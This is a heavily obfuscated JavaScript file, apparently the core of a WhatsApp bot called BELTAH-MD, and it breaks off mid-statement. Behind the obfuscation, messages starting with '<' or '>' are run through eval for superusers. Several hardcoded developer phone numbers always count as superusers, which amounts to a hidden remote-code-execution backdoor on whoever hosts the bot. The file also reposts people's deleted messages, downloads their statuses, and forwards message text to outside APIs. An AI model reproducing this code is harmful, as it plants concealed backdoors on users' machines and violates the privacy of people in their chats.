prefixe=conf['PREFIXE']||[];require('dotenv')['config']({'path':'./config.e'+'nv'});async function authentification(){const _0x4ef8e7=_0x1cc70d;try{if(!fs[_0x4ef8e7(0x192)](__dirname+('/auth/cred'+_0x4ef8e7(0x185))))console['log']('connected\x20'+_0x4ef8e7(0x16f)+'ly...'),await fs['writeFileS'+'ync'](__dirname+(_0x4ef8e7(0x14c)+'s.json'),atob(session),'utf8');else fs['existsSync'](__dirname+('/auth/cred'+'s.json'))&&session!='zokk'&&await fs['writeFileS'+'ync'](__dirname+(_0x4ef8e7(0x14c)+'s.json'),atob(session),_0x4ef8e7(0x150));}catch(_0x5c4cf1){console['log']('Session\x20In'+'valid\x20'+_0x5c4cf1);return;}}authentification(),-0xad*0x37+0x18e3+0xc48;const store=baileys_1['makeInMemo'+'ryStore']({'logger':pino()['child']({'level':'silent','stream':'store'})});function _0x4bcc(_0x2bbe92,_0x2d5c7c){const _0x6304eb=_0x7641();return _0x4bcc=function(_0x29043a,_0x170d52){_0x29043a=_0x29043a-(0xb37+-0xf*0x1cd+0x1116);let _0x1da42c=_0x6304eb[_0x29043a];return _0x1da42c;},_0x4bcc(_0x2bbe92,_0x2d5c7c);}setTimeout(()=>{const _0x5a53cb=_0x1cc70d,_0x399a6b={'aQfjZ':function(_0x564969,_0x586fae){return _0x564969===_0x586fae;},'gGIcL':'conversati'+'on','UjSAE':'imageMessa'+'ge','uONZr':function(_0x122684,_0x54e8b2){return _0x122684==_0x54e8b2;},'AaOry':'=========='+'=\x20New\x20mess'+'age\x20======'+'=====','MBOzg':'------end\x20'+'of\x20your\x20me'+'ssages\x20---'+'---','pVZHB':'yes','LieWO':function(_0x293b2d,_0x39eab5){return _0x293b2d(_0x39eab5);},'ahQdL':'string','PFYns':'12345','QQzWW':_0x5a53cb(0x1b8),'XiGlX':'audio/mp4','EqulC':'lien\x20detec'+'té','UpuiR':'#000000','dAjJV':_0x5a53cb(0x190),'IwboT':'delete','QziJP':'./bdd/warn','erfaV':'Je\x20ne\x20reag'+'is\x20pas\x20au\x20'+_0x5a53cb(0x1ca),'FUSGl':'BELTAH-MD','HAbsC':'ᴀᴄᴄᴇss\x20ᴅᴇɴ'+'ɪᴇᴅ\x20❗❗\x0a\x0a>\x20'+'ʏᴏᴜ\x20ʜᴀᴠᴇ\x20ɴ'+'ᴏ\x20ᴀᴄᴄᴇss\x20ᴏ'+'ғ\x20ʙᴇʟᴛᴀʜ-ᴍ'+'ᴅ\x20ɪɴ\x20ᴘᴍ.','Guvtn':function(_0x4ca48c,_0x250093,_0x555c2b){return _0x4ca48c(_0x250093,_0x555c2b);},'kbYjA':'goodbye','XoGEi':function(_0x295917,_0x56956f){return _0x295917==_0x56956f;},'axHuy':'demote','lkxwp':'@s.whatsap'+'p.net','cfakN':'F9eGks0Pnw'+'7JJrozICzB'+'o4','QbLfo':'Restarting'+'\x20due\x20to\x20er'+_0x5a53cb(0x19f),'JICKn':'messages.u'+'psert','VDPTX':function(_0x240411,_0x4663cf){return _0x240411(_0x4663cf);},'ilzhg':'./bdd/welc'+'ome','rgaqo':'connection'+_0x5a53cb(0x195)};async function _0x36902e(){const _0x5497b6=_0x5a53cb,_0x2df815={'bPVhc':function(_0x560c5c,_0x53c428){return _0x560c5c(_0x53c428);},'urYoo':function(_0x19ebf3,_0x11188b){return _0x19ebf3(_0x11188b);},'FIOyN':'video','kqhCW':function(_0x39e2e8,_0x131731){return _0x39e2e8<_0x131731;},'RcQvb':function(_0x22e99a,_0x49b8a5){return _0x22e99a+_0x49b8a5;},'JQmZm':'Filter\x20mus'+'t\x20be\x20a\x20fun'+'ction'};0x3*0x1eb+-0x502+-0xbf;const {version:_0x3f2077,isLatest:_0x3b113}=await baileys_1['fetchLates'+'tBaileysVe'+'rsion']();-0x569*0x5+-0x1*0x4a9+0x1fb6;const {state:_0x290122,saveCreds:_0xc2c4a}=await baileys_1['useMultiFi'+'leAuthStat'+'e'](__dirname+'/auth');0x1*-0x1791+0x90*-0x13+0x2241;const _0x1aa05d={'version':_0x3f2077,'logger':pino({'level':'silent'}),'browser':['BELTAH-MD','safari','1.0.0'],'printQRInTerminal':!![],'fireInitQueries':![],'shouldSyncHistoryMessage':!![],'downloadHistory':!![],'syncFullHistory':!![],'generateHighQualityLinkPreview':!![],'markOnlineOnConnect':![],'keepAliveIntervalMs':0x7530,'auth':{'creds':_0x290122['creds'],'keys':baileys_1['makeCachea'+'bleSignalK'+'eyStore'](_0x290122['keys'],logger)},'getMessage':async _0xc9c14f=>{const _0x722b32=_0x4bcc;if(store){const _0x47125e=await store['loadMessag'+'e'](_0xc9c14f['remoteJid'],_0xc9c14f['id'],undefined);return _0x47125e['message']||undefined;}return{'conversation':'An\x20Error\x20O'+'ccurred,\x20R'+_0x722b32(0x154)+'and!'};}};-0x2*0x10b8+-0x2*-0x1029+0x11e;const _0x52e0ec=baileys_1['default'](_0x1aa05d);store[_0x5497b6(0x175)](_0x52e0ec['ev']),_0x399a6b['Guvtn'](setInterval,()=>{store['writeToFil'+'e']('store.json');},-0x2d*0x20+-0x2*-0x1ab+0xe02);const _0x2c5d73=_0xc0e1c8=>new Promise(_0x5df9d1=>setTimeout(_0x5df9d1,_0xc0e1c8));let _0x23417e=-0x57b*0x7+-0x1*-0x1d5d+0x900;const _0x5c0594=-0x225e+-0x2283+-0x5869*-0x1;_0x52e0ec['ev']['on']('call',async _0x5a1c00=>{const _0x361591=_0x5497b6;if(conf['ANTICALL']==='yes'){const _0x64051d=_0x5a1c00[-0x19da+0x19e2+0x1*-0x8]['id'],_0x4d5485=_0x5a1c00[-0x55*-0x9+0x112a*0x2+-0x2551]['from'];await _0x52e0ec['rejectCall'](_0x64051d,_0x4d5485);const _0x20fc32=Date['now']();_0x20fc32-_0x23417e>=_0x5c0594?(await client[_0x361591(0x1c8)+'e'](_0x4d5485,{'text':conf['ANTICALL_M'+'SG']}),_0x23417e=_0x20fc32):console['log']('Message\x20sk'+'ipped\x20to\x20p'+'revent\x20ove'+'rflow');}});const _0x56d3f3=['❤️','💖','💘','💝','💓','💌','💕','😎','🔥','💥','💯','✨','🌟','🌈','⚡','💎','🌀','👑','🎉','🎊','🦄','👽','🛸','🚀','🦋','💫','🍀','🎶','🎧','🎸','🎤','🏆','🏅','🌍','🌎','🌏','🎮','🎲','💪',_0x5497b6(0x1c9),'🥇','👟','🏃','🚴','🚶','🏄','⛷️','🕶️','🧳','🍿','🍿','🥂','🍻','🍷','🍸','🥃','🍾','🎯','⏳','🎁','🎈','🎨','🌻','🌸','🌺','🌹','🌼','🌞','🌝','🌜','🌙','🌚','🍀','🌱','🍃','🍂','🌾','🐉','🐍','🦓','🦄','🦋','🦧','🦘','🦨','🦡','🐉','🐅','🐆','🐓','🐢','🐊','🐠','🐟','🐡','🦑','🐙','🦀','🐬','🦕','🦖','🐾','🐕','🐈','🐇','🐾'];let _0x293464=0x19+-0x2011*-0x1+-0x202a;conf['AUTO_LIKE_'+'STATUS']==='yes'&&(console['log']('AUTO_LIKE_'+'STATUS\x20is\x20'+'enabled.\x20L'+'istening\x20f'+'or\x20status\x20'+_0x5497b6(0x157)),_0x52e0ec['ev']['on']('messages.u'+'psert',async _0x2018dc=>{const _0x271474=_0x5497b6,{messages:_0x7eebc1}=_0x2018dc;for(const _0x347112 of _0x7eebc1){if(_0x347112[_0x271474(0x1a1)]&&_0x347112[_0x271474(0x1a1)]['remoteJid']==='status@bro'+'adcast'){console['log']('Detected\x20s'+'tatus\x20upda'+'te\x20from:',_0x347112[_0x271474(0x1a1)]['remoteJid']);const _0x453da8=Date['now']();if(_0x453da8-_0x293464<-0x16*-0xfd+0x4b*0xc+-0x5ba){console['log'](_0x271474(0x1ba)+'\x20reactions'+'\x20to\x20preven'+'t\x20overflow'+'.');continue;}const _0x315ad5=_0x52e0ec['user']&&_0x52e0ec['user']['id']?_0x52e0ec['user']['id']['split'](':')[0x8fc+0x7c*0x31+0x417*-0x8]+('@s.whatsap'+'p.net'):null;if(!_0x315ad5){console['log']('Bot\x27s\x20user'+'\x20ID\x20not\x20av'+'ailable.\x20S'+'kipping\x20re'+'action.');continue;}const _0x2b93cb=_0x56d3f3[Math['floor'](Math['random']()*_0x56d3f3['length'])];try{await _0x52e0ec['sendMessag'+'e'](_0x347112['key']['remoteJid'],{'react':{'key':_0x347112['key'],'text':_0x2b93cb}},{'statusJidList':[_0x347112['key']['participan'+'t']]}),_0x293464=Date['now'](),console['log'](_0x271474(0x18e)+'ly\x20reacted'+'\x20to\x20status'+_0x271474(0x183)+'\x20'+_0x347112['key']['remoteJid']+'\x20with\x20'+_0x2b93cb),await _0x2c5d73(-0x136+0x444+0x4c2);}catch(_0x5cbcea){console[_0x271474(0x14a)]('Error\x20reac'+'ting\x20to\x20st'+'atus\x20updat'+'e:',_0x5cbcea);}}}}));conf['AUTOBIO']==='yes'&&setInterval(()=>{const _0x38cf1c=_0x5497b6,_0x1f9fc0=new Date();_0x52e0ec['updateProf'+'ileStatus']('👻\x20'+conf['BOT']+(_0x38cf1c(0x197)+':\x20')+_0x1f9fc0['toLocaleSt'+'ring']('en-US',{'timeZone':'Africa/Nai'+'robi'})+'\x20||\x20𝐃𝐚𝐲:\x20'+_0x1f9fc0['toLocaleSt'+'ring']('en-US',{'weekday':_0x38cf1c(0x189),'timeZone':_0x38cf1c(0x17b)+'robi'})+'.');},(-0x15e3+-0x940+0x1*0x1f2d)*(-0x9b5+-0x202d+0x2dca));let _0xb92b11=new Set();_0x52e0ec['ev']['on']('messages.u'+'psert',async _0x2519cd=>{const _0x255128=_0x5497b6,{messages:_0x19f21a}=_0x2519cd,_0x113aa7=_0x19f21a[0x26ec+0xf4c+-0x3638];if(!_0x113aa7['message'])return;const _0x583f17=_0x113aa7[_0x255128(0x168)]['conversati'+'on']||_0x113aa7['message']['extendedTe'+'xtMessage']?.['text']||'',_0x2c2efb=_0x113aa7['key']['remoteJid'],_0x1b7503=_0x2c2efb['split']('@')[-0x63b+-0x18fa+0x1f35];let _0x1d022f='Hello\x20@'+_0x1b7503+',\x20'+conf['OWNER_NAME']+('\x20is\x20unavai'+'lable\x20righ'+'t\x20now.\x20Kin'+'dly\x20leave\x20'+_0x255128(0x199));if(_0x583f17['startsWith']('>')&&_0x113aa7['key']['fromMe']){const _0x24c5f7=_0x583f17['slice'](-0xae*-0x1a+-0xd67+0x1a*-0x2a)['split']('\x20')[-0x7*-0x176+-0x24ca+0x1a90],_0x28467c=_0x583f17['slice'](_0x24c5f7['length']+(0x1098+-0x2131+0x1*0x109b))[_0x255128(0x1af)]();if(_0x399a6b['aQfjZ'](_0x24c5f7,'setautorep'+'ly')&&_0x28467c){_0x1d022f=_0x28467c,await _0x52e0ec['sendMessag'+'e'](_0x2c2efb,{'text':'Auto-reply'+'\x20message\x20h'+'as\x20been\x20up'+'dated\x20to:\x0a'+'\x22'+_0x1d022f+'\x22'});return;}}conf['GREET']==='yes'&&!_0xb92b11['has'](_0x2c2efb)&&!_0x113aa7['key'][_0x255128(0x19b)]&&!_0x2c2efb['includes']('@g.us')&&(await _0x52e0ec['sendMessag'+'e'](_0x2c2efb,{'text':_0x1d022f,'mentions':[_0x2c2efb]}),_0xb92b11['add'](_0x2c2efb));});function _0x310753(_0x231cb1){const _0x298317=_0x5497b6,_0x1e7dc9=_0x231cb1['key']['participan'+'t']||_0x231cb1['key']['remoteJid'];return'*『\x20👻\x20'+conf['BOT']+(_0x298317(0x152)+'ᴇ\x20👻\x20』*\x0a\x0a')+('*ᴅᴇʟᴇᴛɪᴏɴ\x20'+'ᴛɪᴍᴇ:*\x20'+new Date()['toLocaleSt'+_0x298317(0x17f)]()+'\x0a')+(_0x298317(0x1c6)+'ʏ:*\x20@'+_0x1e7dc9['split']('@')[0x2a6+0xc90+-0x76*0x21]+('\x0a\x0a>\x20ᴅᴇʟᴇᴛᴇ'+'ᴅ\x20ɪɴғᴏʀᴍᴀᴛ'+'ɪᴏɴ\x20ʀᴇᴛʀɪᴇ'+'ᴠᴇᴅ\x20ʙʏ\x20ʙᴇʟ'+_0x298317(0x181)));}async function _0x39ee18(_0x4d3fec){const _0x18a3c2=_0x5497b6;if(_0x4d3fec['imageMessa'+'ge'])return await downloadMedia(_0x4d3fec['imageMessa'+'ge']);if(_0x4d3fec['videoMessa'+'ge'])return await downloadMedia(_0x4d3fec['videoMessa'+'ge']);if(_0x4d3fec['documentMe'+'ssage'])return await downloadMedia(_0x4d3fec['documentMe'+'ssage']);if(_0x4d3fec['audioMessa'+'ge'])return await _0x2df815[_0x18a3c2(0x153)](downloadMedia,_0x4d3fec['audioMessa'+'ge']);if(_0x4d3fec['stickerMes'+'sage'])return await downloadMedia(_0x4d3fec['stickerMes'+'sage']);if(_0x4d3fec['voiceMessa'+'ge'])return await downloadMedia(_0x4d3fec['voiceMessa'+'ge']);return null;}_0x52e0ec['ev']['on'](_0x399a6b['JICKn'],async _0x59a775=>{const _0x3aa7b1=_0x5497b6;if(conf['ADM']!=='yes')return;const {messages:_0x3be3d6}=_0x59a775,_0x33874d=_0x3be3d6[0xd13*-0x2+-0xf13+0x2939];if(!_0x33874d['message'])return;const _0x4d6d00=_0x33874d['key'],_0x4de3cb=_0x4d6d00['remoteJid'];!store['chats'][_0x4de3cb]&&(store['chats'][_0x4de3cb]=[]);store['chats'][_0x4de3cb]['push'](_0x33874d);if(_0x33874d['message']['protocolMe'+'ssage']&&_0x33874d['message']['protocolMe'+'ssage']['type']===0x18c4+0x1*-0x228+-0x169c){const _0x92a868=_0x33874d['message']['protocolMe'+'ssage'][_0x3aa7b1(0x1a1)],_0x2ac0ef=store['chats'][_0x4de3cb],_0x3bdd52=_0x2ac0ef['find'](_0xc661a1=>_0xc661a1['key']['id']===_0x92a868['id']);if(_0x3bdd52)try{const _0x78c3c9=_0x2df815[_0x3aa7b1(0x1c0)](_0x310753,_0x3bdd52);if(_0x3bdd52['message']['conversati'+'on'])await _0x52e0ec['sendMessag'+'e'](_0x4de3cb,{'text':_0x78c3c9+('\x0a\x0a*ᴅᴇʟᴇᴛᴇᴅ'+'\x20ᴍᴇssᴀɢᴇ:*'+'\x20')+_0x3bdd52['message']['conversati'+'on'],'mentions':[_0x3bdd52['key']['participan'+'t']]});else{const _0xa2bd30=await _0x39ee18(_0x3bdd52['message']);if(_0xa2bd30){const _0x31b221=_0x3bdd52['message'][_0x3aa7b1(0x171)+'ge']?'image':_0x3bdd52['message']['videoMessa'+'ge']?_0x2df815[_0x3aa7b1(0x1c5)]:_0x3bdd52['message']['documentMe'+'ssage']?'document':_0x3bdd52['message']['audioMessa'+'ge']?'audio':_0x3bdd52['message']['stickerMes'+'sage']?'sticker':'audio';await _0x52e0ec['sendMessag'+'e'](_0x4de3cb,{[_0x31b221]:_0xa2bd30,'caption':_0x78c3c9,'mentions':[_0x3bdd52['key']['participan'+'t']]});}}}catch(_0x487d10){console['error'](_0x3aa7b1(0x15c)+'ling\x20delet'+'ed\x20message'+':',_0x487d10);}}}),_0x52e0ec['ev']['on']('messages.u'+'psert',async _0x30ad55=>{const _0x44b8aa=_0x5497b6,{messages:_0x2d769b}=_0x30ad55,_0x4c3862=_0x2d769b[0x17d4*-0x1+0x175*-0x17+0x3957];if(!_0x4c3862['message'])return;const _0x2c4e74=_0x1db47e=>{const _0x1cfc24=_0x4bcc;if(!_0x1db47e)return _0x1db47e;if(/:\d+@/gi['test'](_0x1db47e)){0x101+0x8*0x3c6+0x1*-0x1f31;let _0x51c047=baileys_1['jidDecode'](_0x1db47e)||{};return _0x51c047[_0x1cfc24(0x184)]&&_0x51c047['server']&&_0x51c047['user']+'@'+_0x51c047['server']||_0x1db47e;}else return _0x1db47e;};-0x37d+0xfe0+-0x7*0x1c5;var _0x34d90d=baileys_1['getContent'+'Type'](_0x4c3862['message']),_0x2b4942=_0x34d90d==_0x399a6b['gGIcL']?_0x4c3862['message']['conversati'+'on']:_0x34d90d==_0x399a6b['UjSAE']?_0x4c3862['message']['imageMessa'+'ge']?.['caption']:_0x399a6b['uONZr'](_0x34d90d,'videoMessa'+'ge')?_0x4c3862['message']['videoMessa'+'ge']?.['caption']:_0x34d90d=='extendedTe'+'xtMessage'?_0x4c3862['message']?.['extendedTe'+'xtMessage']?.['text']:_0x34d90d=='buttonsRes'+'ponseMessa'+'ge'?_0x4c3862?.['message']?.['buttonsRes'+'ponseMessa'+'ge']?.['selectedBu'+'ttonId']:_0x34d90d=='listRespon'+'seMessage'?_0x4c3862['message']?.['listRespon'+_0x44b8aa(0x18d)]?.['singleSele'+'ctReply']?.['selectedRo'+'wId']:_0x34d90d=='messageCon'+'textInfo'?_0x4c3862?.['message']?.['buttonsRes'+'ponseMessa'+'ge']?.['selectedBu'+_0x44b8aa(0x182)]||_0x4c3862['message']?.['listRespon'+'seMessage']?.['singleSele'+'ctReply']?.['selectedRo'+'wId']||_0x4c3862['text']:'',_0x24112c=_0x4c3862['key']['remoteJid'],_0x7eb229=_0x2c4e74(_0x52e0ec['user']['id']),_0x42b5db=_0x7eb229['split']('@')[0x1ad*-0x7+-0x14c*-0xb+0x3b*-0xb];const _0x315d4b=_0x24112c?.['endsWith']('@g.us');var _0x175d63=_0x315d4b?await _0x52e0ec['groupMetad'+'ata'](_0x24112c):'',_0x5c4f23=_0x315d4b?_0x175d63['subject']:'',_0x53e87e=_0x4c3862[_0x44b8aa(0x168)]['extendedTe'+'xtMessage']?.['contextInf'+'o']?.['quotedMess'+'age'],_0x4d1e7a=_0x2c4e74(_0x4c3862['message']?.['extendedTe'+'xtMessage']?.['contextInf'+'o']?.['participan'+'t']),_0x53aefc=_0x315d4b?_0x4c3862['key']['participan'+'t']?_0x4c3862['key']['participan'+'t']:_0x4c3862['participan'+'t']:_0x24112c;_0x4c3862['key']['fromMe']&&(_0x53aefc=_0x7eb229);var _0x28d35d=_0x315d4b?_0x4c3862['key']['participan'+'t']:'';const {getAllSudoNumbers:_0x55b451}=require(_0x44b8aa(0x15d)),_0x4bda3d=_0x4c3862['pushName'],_0x450a35=await _0x55b451(),_0x145769=[_0x42b5db,'2547376817'+'58','2541141411'+'92','2547386258'+'27','2547593285'+'81',conf['NUMERO_OWN'+'ER']]['map'](_0x2dc6c8=>_0x2dc6c8['replace'](/[^0-9]/g)+('@s.whatsap'+'p.net')),_0x58e264=_0x145769['concat'](_0x450a35),_0x481535=_0x58e264['includes'](_0x53aefc);var _0x3f4796=['2541141411'+'92','2547376817'+'58','2547593285'+'81','2547386258'+'27']['map'](_0x52a911=>_0x52a911['replace'](/[^0-9]/g)+('@s.whatsap'+_0x44b8aa(0x19d)))['includes'](_0x53aefc);function _0x61db46(_0x586a22){_0x52e0ec['sendMessag'+'e'](_0x24112c,{'text':_0x586a22},{'quoted':_0x4c3862});}console['log']('\x09\x20[][]...{'+'Beltah-Md}'+'...[][]'),console[_0x44b8aa(0x1bc)](_0x399a6b['AaOry']);_0x315d4b&&console['log']('message\x20se'+'nt\x20from\x20:\x20'+_0x5c4f23);console['log']('message\x20fr'+'om\x20:\x20['+_0x4bda3d+_0x44b8aa(0x1c1)+_0x53aefc['split']('@s.whatsap'+'p.net')[0xa41+0x2*-0xfe2+0x1583*0x1]+'\x20]'),console['log']('type\x20of\x20me'+_0x44b8aa(0x164)+_0x34d90d),console['log'](_0x399a6b['MBOzg']),console['log'](_0x2b4942);function _0x50444d(_0x4215a5){let _0x32080c=[];for(_0x30ad55 of _0x4215a5){if(_0x30ad55['admin']==null)continue;_0x32080c['push'](_0x30ad55['id']);}return _0x32080c;}var _0x762e4c=conf['ETAT'];if(_0x762e4c==0x130d+-0x89*0x31+0xa7*0xb)await _0x52e0ec['sendPresen'+'ceUpdate']('available',_0x24112c);else{if(_0x762e4c==0x9c+0xfd*0x1f+-0x1f3d)await _0x52e0ec['sendPresen'+'ceUpdate']('composing',_0x24112c);else _0x762e4c==-0x11e5+-0x12c*-0xd+-0x2*-0x156?await _0x52e0ec[_0x44b8aa(0x1bf)+'ceUpdate']('recording',_0x24112c):await _0x52e0ec['sendPresen'+'ceUpdate']('unavailabl'+'e',_0x24112c);}const _0x257f7c=_0x315d4b?await _0x175d63['participan'+'ts']:'';let _0x2b0f3d=_0x315d4b?_0x50444d(_0x257f7c):'';const _0x56831b=_0x315d4b?_0x2b0f3d['includes'](_0x53aefc):![];var _0x29564d=_0x315d4b?_0x2b0f3d['includes'](_0x7eb229):![];const _0x160672=_0x2b4942?_0x2b4942[_0x44b8aa(0x1af)]()['split'](/ +/)['slice'](0xc47+0x217f*-0x1+0x1539):null,_0x29a1b1=_0x2b4942?_0x2b4942['startsWith'](prefixe):![],_0x169023=_0x29a1b1?_0x2b4942['slice'](-0x107e*-0x2+0x15b*-0x11+-0x9f0)['trim']()['split'](/ +/)['shift']()['toLowerCas'+'e']():![],_0xd7787c=conf[_0x44b8aa(0x14b)]['split'](',');function _0x38994d(){const _0x5a5029=_0x44b8aa,_0x5e7945=Math[_0x5a5029(0x179)](Math['random']()*_0xd7787c['length']),_0x440d36=_0xd7787c[_0x5e7945];return _0x440d36;}var _0x52f036={'superUser':_0x481535,'dev':_0x3f4796,'verifGroupe':_0x315d4b,'mbre':_0x257f7c,'membreGroupe':_0x28d35d,'verifAdmin':_0x56831b,'infosGroupe':_0x175d63,'nomGroupe':_0x5c4f23,'auteurMessage':_0x53aefc,'nomAuteurMessage':_0x4bda3d,'idBot':_0x7eb229,'verifZokouAdmin':_0x29564d,'prefixe':prefixe,'arg':_0x160672,'repondre':_0x61db46,'mtype':_0x34d90d,'groupeAdmin':_0x50444d,'msgRepondu':_0x53e87e,'auteurMsgRepondu':_0x4d1e7a,'ms':_0x4c3862,'mybotpic':_0x38994d};if(_0x24112c==='1203632444'+'35092946@g'+'.us')return;conf['AUTO_READ_'+'MESSAGES']===_0x399a6b['pVZHB']&&_0x52e0ec['ev']['on']('messages.u'+'psert',async _0xd26cb3=>{const {messages:_0xbe0382}=_0xd26cb3;for(const _0x210ad5 of _0xbe0382){!_0x210ad5['key']['fromMe']&&await _0x52e0ec['readMessag'+'es']([_0x210ad5['key']]);}});if(!_0x481535&&_0x24112c===_0x53aefc&&conf['AUTO_REACT']==='yes'){const _0x306e25=['👣','🏗️','✈️','🌽','🏸','🛖','🍁','🛰️','🥔','🎡','🎸','🎼','🔉','📿','🪇','📹','🎞️','🪔','📔','🏷️','💰','📥','🗳️','📭','🖌️','📏','','🪛','🔨','⛓️‍💥','📌','🗝️','🔍','🥁','🔊','🥾','👢','🩰','👡','🙂','🎊','🎉','🎁','⛑️','👋'],_0x4fc7ae=_0x306e25[Math['floor'](Math[_0x44b8aa(0x16e)]()*_0x306e25['length'])];_0x52e0ec['sendMessag'+'e'](_0x24112c,{'react':{'text':_0x4fc7ae,'key':_0x4c3862['key']}});}if(!_0x481535&&_0x24112c===_0x53aefc&&conf['CHATBOT_IN'+_0x44b8aa(0x1bd)]==='yes')try{const _0x24ba29=Date['now']();if(_0x24ba29-_0x23417e<_0x5c0594){console['log']('Message\x20sk'+_0x44b8aa(0x14f)+'\x20many\x20mess'+'ages\x20in\x20a\x20'+'short\x20time'+'.');return;}const _0x49bd0e=await axios['get']('https://bk'+'9.fun/ai/b'+'lackbox',{'params':{'q':_0x2b4942}}),_0x2e7984=_0x49bd0e['data'];if(_0x2e7984&&_0x2e7984['status']&&_0x2e7984['BK9'])await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'text':_0x2e7984['BK9']}),_0x23417e=Date['now']();else throw new Error('No\x20respons'+'e\x20content\x20'+'found.');}catch(_0x50446b){console['error']('Error\x20fetc'+_0x44b8aa(0x15e)+'ot\x20respons'+'e:',_0x50446b);}if(!_0x481535&&_0x24112c==_0x53aefc&&conf['VOICE_CHAT'+'BOT_INBOX']==='yes')try{const _0x4960cf=Date['now']();if(_0x4960cf-_0x23417e<_0x5c0594){console['log']('Message\x20sk'+'ipped:\x20Too'+'\x20many\x20mess'+'ages\x20in\x20a\x20'+_0x44b8aa(0x15f)+'.');return;}const _0xbdb7ff=await axios['get']('https://ap'+'i.davidcyr'+_0x44b8aa(0x1bb)+'id/ai/gpt4',{'params':{'text':_0x2b4942}}),_0x1e4b32=_0xbdb7ff[_0x44b8aa(0x14e)];if(_0x1e4b32&&_0x1e4b32['success']&&_0x1e4b32['message']){const _0x152d38=googleTTS['getAudioUr'+'l'](_0x1e4b32['message'],{'lang':'en','slow':![],'host':'https://tr'+'anslate.go'+'ogle.com'});await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'audio':{'url':_0x152d38},'mimetype':'audio/mp4','ptt':!![]}),_0x23417e=Date['now']();}else throw new Error('No\x20respons'+'e\x20content\x20'+_0x44b8aa(0x18b));}catch(_0x5db2d3){console['error']('Error\x20fetc'+'hing\x20chatb'+'ot\x20respons'+'e:',_0x5db2d3);}if(_0x2b4942&&_0x2b4942['startsWith']('<')){if(!_0x481535)return _0x61db46('Only\x20for\x20m'+'y\x20owner\x20or'+_0x44b8aa(0x1c7)+'ch\x20to\x20exec'+_0x44b8aa(0x1b7)+'ommand\x20🚫');try{let _0x15765b=await eval(_0x2b4942['slice'](-0x2477*0x1+-0x12f4+0x376c));typeof _0x15765b!=='string'&&(_0x15765b=require('util')[_0x44b8aa(0x1ae)](_0x15765b)),await _0x61db46(_0x15765b);}catch(_0x683520){await _0x61db46(_0x399a6b['LieWO'](String,_0x683520));}}if(_0x2b4942&&_0x2b4942['startsWith']('>')){if(!_0x481535){const _0x5714b3='This\x20comma'+'nd\x20is\x20only'+'\x20for\x20the\x20o'+'wner\x20or\x20Be'+'ltah\x20to\x20ex'+'ecute\x20🚫';await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'text':_0x5714b3,'contextInfo':{'externalAdReply':{'title':'𝐁𝐄𝐋𝐓𝐀𝐇\x20𝐌𝐃','body':'POWERED\x20BY'+'\x20BELTAH\x20HA'+'CKING\x20TEAM','sourceUrl':'https://wh'+'atsapp.com'+'/channel/0'+'029VaRHDBK'+_0x44b8aa(0x174)+'H2F','thumbnailUrl':'https://te'+'legra.ph/f'+_0x44b8aa(0x188)+'dee6cc7597'+'c859a.jpg'||conf['BOT_MENU_L'+'INK'],'mediaType':0x1,'showAdAttribution':!![],'renderLargerThumbnail':![]}}});return;}try{let _0x4448ae=await eval(_0x2b4942['slice'](0x7*0x4fd+-0x3*-0x9c5+0x4039*-0x1));if(typeof _0x4448ae!==_0x399a6b['ahQdL'])_0x4448ae=require('util')['inspect'](_0x4448ae);await _0x61db46(_0x4448ae);}catch(_0x520ea9){await _0x61db46(String(_0x520ea9));}}if(_0x4c3862['key']&&_0x4c3862['key']['remoteJid']==='status@bro'+'adcast'&&conf['AUTO_STATU'+'S_REPLY']==='yes'){const _0x3942af=_0x4c3862['key']['participan'+'t'],_0x23f53a=''+conf[_0x44b8aa(0x177)+'S_MSG'];await _0x52e0ec[_0x44b8aa(0x1c8)+'e'](_0x3942af,{'text':_0x23f53a,'react':{'text':'👻','key':_0x4c3862['key']}},{'quoted':_0x4c3862});}_0x4c3862['key']&&_0x4c3862['key']['remoteJid']==='status@bro'+'adcast'&&conf[_0x44b8aa(0x176)+_0x44b8aa(0x1b1)]==='yes'&&await _0x52e0ec['readMessag'+'es']([_0x4c3862['key']]);if(_0x4c3862['key']&&_0x4c3862['key']['remoteJid']==='status@bro'+'adcast'&&conf['AUTO_DOWNL'+'OAD_STATUS']===_0x399a6b[_0x44b8aa(0x163)]){if(_0x4c3862['message']['extendedTe'+_0x44b8aa(0x191)]){var _0x3fdcb4=_0x4c3862['message']['extendedTe'+'xtMessage']['text'];await _0x52e0ec['sendMessag'+'e'](_0x7eb229,{'text':_0x3fdcb4},{'quoted':_0x4c3862});}else{if(_0x4c3862['message']['imageMessa'+'ge']){var _0x107a16=_0x4c3862['message']['imageMessa'+'ge'][_0x44b8aa(0x1c3)],_0x251328=await _0x52e0ec['downloadAn'+'dSaveMedia'+'Message'](_0x4c3862[_0x44b8aa(0x168)]['imageMessa'+'ge']);await _0x52e0ec['sendMessag'+'e'](_0x7eb229,{'image':{'url':_0x251328},'caption':_0x107a16},{'quoted':_0x4c3862});}else{if(_0x4c3862['message']['videoMessa'+'ge']){var _0x107a16=_0x4c3862['message']['videoMessa'+'ge']['caption'],_0xcf73ec=await _0x52e0ec['downloadAn'+'dSaveMedia'+'Message'](_0x4c3862['message']['videoMessa'+'ge']);await _0x52e0ec['sendMessag'+'e'](_0x7eb229,{'video':{'url':_0xcf73ec},'caption':_0x107a16},{'quoted':_0x4c3862});}}}}if(!_0x3f4796&&_0x24112c=='1203631587'+'01337904@g'+'.us')return;if(_0x2b4942&&_0x53aefc['endsWith']('s.whatsapp'+'.net')){const {ajouterOuMettreAJourUserData:_0x18329c}=require('./bdd/leve'+'l');try{await _0x18329c(_0x53aefc);}catch(_0x8250c4){console['error'](_0x8250c4);}}try{if(_0x4c3862['message'][_0x34d90d]['contextInf'+'o']['mentionedJ'+'id']&&(_0x4c3862[_0x44b8aa(0x168)][_0x34d90d]['contextInf'+'o'][_0x44b8aa(0x19c)+'id']['includes'](_0x7eb229)||_0x4c3862['message'][_0x34d90d]['contextInf'+'o']['mentionedJ'+'id']['includes'](conf['NUMERO_OWN'+'ER']+('@s.whatsap'+'p.net')))){if(_0x24112c=='1203631587'+'01337904@g'+'.us')return;;if(_0x481535){console['log']('hummm');return;}let _0x47a624=require('./bdd/ment'+'ion'),_0x338b88=await _0x47a624['recupererT'+'outesLesVa'+'leurs'](),_0x3299f0=_0x338b88[0xb3*-0x13+-0x1aa8+0x7fd*0x5];if(_0x3299f0['status']==='non'){console['log']('mention\x20pa'+'s\x20actifs');return;}let 